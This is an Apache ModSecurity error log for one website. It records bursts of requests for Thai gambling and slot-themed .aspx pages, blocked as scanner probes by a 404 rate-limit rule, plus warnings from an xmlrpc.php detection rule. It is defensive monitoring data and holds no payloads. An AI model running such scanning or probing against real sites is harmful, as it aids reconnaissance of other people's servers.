[Wed Jan 28 11:31:04.488239 2026] [:error] [pid 42740:tid 42751] [client 62.84.185.60:31122] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234.aspx"] [unique_id "aXmC-FnjAS34srJlXgQQ2AAAAIk"]
[Wed Jan 28 11:31:06.529413 2026] [:error] [pid 42740:tid 42756] [client 62.84.185.60:31136] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot24th.aspx"] [unique_id "aXmC-lnjAS34srJlXgQQ3gAAAI4"]
[Wed Jan 28 11:31:08.585729 2026] [:error] [pid 33580:tid 33593] [client 62.84.185.60:31148] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot777.aspx"] [unique_id "aXmC_Jlb0QJtwfka8l7eaAAAAQY"]
[Wed Jan 28 11:31:10.635726 2026] [:error] [pid 33489:tid 33504] [client 62.84.185.60:31162] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot789.aspx"] [unique_id "aXmC_hZrVZwQUFWC7__X_QAAAAs"]
[Wed Jan 28 11:31:12.614084 2026] [:error] [pid 33490:tid 33531] [client 62.84.185.60:30510] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot99.aspx"] [unique_id "aXmDAGjexcy58gsBPJH-0wAAAEc"]
[Wed Jan 28 11:31:14.773974 2026] [:error] [pid 42740:tid 42754] [client 62.84.185.60:30522] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmDAlnjAS34srJlXgQRBQAAAIw"]
[Wed Jan 28 11:31:16.735783 2026] [:error] [pid 33580:tid 33610] [client 62.84.185.60:30534] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXmDBJlb0QJtwfka8l7erQAAARc"]
[Wed Jan 28 11:31:18.773961 2026] [:error] [pid 33491:tid 33573] [client 62.84.185.60:30542] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot.aspx"] [unique_id "aXmDBmP9UY0x3irkINCXhAAAANY"]
[Wed Jan 28 11:31:20.858577 2026] [:error] [pid 33636:tid 33656] [client 62.84.185.60:30558] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot1234%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXmDCNIVZAudQH0BSC634AAAAhI"]
[Wed Jan 28 11:31:23.007861 2026] [:error] [pid 33491:tid 33554] [client 62.84.185.60:30686] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot777.aspx"] [unique_id "aXmDC2P9UY0x3irkINCXiwAAAMM"]
[Wed Jan 28 11:32:10.495486 2026] [:error] [pid 42740:tid 42753] [client 62.84.185.60:57998] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXmDOlnjAS34srJlXgQRjAAAAIs"]
[Wed Jan 28 11:32:12.611636 2026] [:error] [pid 33580:tid 33592] [client 62.84.185.60:25208] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet289.aspx"] [unique_id "aXmDPJlb0QJtwfka8l7fHgAAAQU"]
[Wed Jan 28 11:32:14.672903 2026] [:error] [pid 42740:tid 42763] [client 62.84.185.60:25216] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXmDPlnjAS34srJlXgQRlgAAAJU"]
[Wed Jan 28 11:32:16.814413 2026] [:error] [pid 33491:tid 33571] [client 62.84.185.60:25224] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aXmDQGP9UY0x3irkINCX1wAAANQ"]
[Wed Jan 28 11:32:18.947470 2026] [:error] [pid 33489:tid 33498] [client 62.84.185.60:25234] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aXmDQhZrVZwQUFWC7__YggAAAAU"]
[Wed Jan 28 12:14:36.180851 2026] [:error] [pid 33490:tid 33531] [client 13.212.75.76:53598] [client 13.212.75.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.212.75.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXmNLGjexcy58gsBPJEKLAAAAEc"]
[Wed Jan 28 13:01:49.566259 2026] [:error] [pid 33490:tid 33528] [client 5.129.215.121:37564] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.129.215.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXmYPWjexcy58gsBPJEWLwAAAEQ"]
[Wed Jan 28 13:05:37.568756 2026] [:error] [pid 33491:tid 33555] [client 194.247.173.99:60132] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmZIWP9UY0x3irkINCyxgAAAMQ"]
[Wed Jan 28 13:05:40.027562 2026] [:error] [pid 2625:tid 2642] [client 194.247.173.99:36304] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmZJFZhY64HvuPd7w3zRwAAAUs"]
[Wed Jan 28 13:05:42.271869 2026] [:error] [pid 33580:tid 33590] [client 194.247.173.99:36318] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXmZJplb0QJtwfka8l7-QQAAAQM"]
[Wed Jan 28 13:05:44.516945 2026] [:error] [pid 33489:tid 33512] [client 194.247.173.99:36326] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20gclub1688.aspx"] [unique_id "aXmZKBZrVZwQUFWC7__0KQAAABM"]
[Wed Jan 28 13:05:46.877818 2026] [:error] [pid 33636:tid 33649] [client 194.247.173.99:36328] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg%20slot.aspx"] [unique_id "aXmZKtIVZAudQH0BSC7bhAAAAgs"]
[Wed Jan 28 13:05:49.204235 2026] [:error] [pid 2625:tid 2640] [client 194.247.173.99:37490] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20369.aspx"] [unique_id "aXmZLVZhY64HvuPd7w3zUwAAAUk"]
[Wed Jan 28 13:05:51.407698 2026] [:error] [pid 33491:tid 33553] [client 194.247.173.99:37504] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20joker%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmZL2P9UY0x3irkINCy0wAAAMI"]
[Wed Jan 28 13:05:53.694617 2026] [:error] [pid 33580:tid 33598] [client 194.247.173.99:37506] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg.aspx"] [unique_id "aXmZMZlb0QJtwfka8l7-RQAAAQs"]
[Wed Jan 28 13:05:56.010440 2026] [:error] [pid 33580:tid 33603] [client 194.247.173.99:37520] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXmZNJlb0QJtwfka8l7-SwAAARA"]
[Wed Jan 28 13:05:58.279121 2026] [:error] [pid 33580:tid 33608] [client 194.247.173.99:37530] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmZNplb0QJtwfka8l7-TwAAARU"]
[Wed Jan 28 13:06:00.567297 2026] [:error] [pid 33490:tid 33536] [client 194.247.173.99:55762] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXmZOGjexcy58gsBPJEWxQAAAEw"]
[Wed Jan 28 13:06:02.783682 2026] [:error] [pid 33636:tid 33654] [client 194.247.173.99:55776] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20joker%20%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A.aspx"] [unique_id "aXmZOtIVZAudQH0BSC7bkQAAAhA"]
[Wed Jan 28 13:06:04.893074 2026] [:error] [pid 2625:tid 2650] [client 194.247.173.99:55792] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXmZPFZhY64HvuPd7w3zYQAAAVM"]
[Wed Jan 28 13:06:07.032071 2026] [:error] [pid 33489:tid 33511] [client 194.247.173.99:55798] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXmZPxZrVZwQUFWC7__0NQAAABI"]
[Wed Jan 28 13:06:09.287146 2026] [:error] [pid 33490:tid 33528] [client 194.247.173.99:33086] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXmZQWjexcy58gsBPJEWyAAAAEQ"]
[Wed Jan 28 13:06:11.585792 2026] [:error] [pid 33489:tid 33496] [client 194.247.173.99:33092] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet.aspx"] [unique_id "aXmZQxZrVZwQUFWC7__0OQAAAAM"]
[Wed Jan 28 13:06:13.950442 2026] [:error] [pid 33491:tid 33554] [client 194.247.173.99:33100] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%88%E0%B8%B5%E0%B8%84%E0%B8%A5%E0%B8%B1%E0%B8%9A.aspx"] [unique_id "aXmZRWP9UY0x3irkINCy4wAAAMM"]
[Wed Jan 28 13:06:16.181354 2026] [:error] [pid 33489:tid 33510] [client 194.247.173.99:33104] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97.aspx"] [unique_id "aXmZSBZrVZwQUFWC7__0OgAAABE"]
[Wed Jan 28 13:06:18.547619 2026] [:error] [pid 2625:tid 2638] [client 194.247.173.99:43690] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXmZSlZhY64HvuPd7w3zeAAAAUc"]
[Wed Jan 28 13:06:21.099414 2026] [:error] [pid 33636:tid 33646] [client 194.247.173.99:43694] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168.aspx"] [unique_id "aXmZTdIVZAudQH0BSC7bnAAAAgg"]
[Wed Jan 28 13:06:23.220946 2026] [:error] [pid 33490:tid 33545] [client 194.247.173.99:43700] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B9%87%E0%B8%95.aspx"] [unique_id "aXmZT2jexcy58gsBPJEWzQAAAFU"]
[Wed Jan 28 13:06:25.605761 2026] [:error] [pid 42740:tid 42763] [client 194.247.173.99:43702] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20slotxo.aspx"] [unique_id "aXmZUVnjAS34srJlXgQ6FAAAAJU"]
[Wed Jan 28 13:06:28.242036 2026] [:error] [pid 2625:tid 2633] [client 194.247.173.99:43716] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99superslot.aspx"] [unique_id "aXmZVFZhY64HvuPd7w3zgwAAAUI"]
[Wed Jan 28 13:06:30.337844 2026] [:error] [pid 2625:tid 2652] [client 194.247.173.99:48048] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXmZVlZhY64HvuPd7w3ziAAAAVU"]
[Wed Jan 28 13:06:32.653606 2026] [:error] [pid 33580:tid 33596] [client 194.247.173.99:48052] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2joker123%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXmZWJlb0QJtwfka8l7-ZAAAAQk"]
[Wed Jan 28 13:08:07.025719 2026] [:error] [pid 33491:tid 33552] [client 194.247.173.99:34128] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%20%E0%B8%84%E0%B8%B2.aspx"] [unique_id "aXmZt2P9UY0x3irkINCzIgAAAME"]
[Wed Jan 28 13:08:09.359269 2026] [:error] [pid 33490:tid 33534] [client 194.247.173.99:39650] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%2099.aspx"] [unique_id "aXmZuWjexcy58gsBPJEXIQAAAEo"]
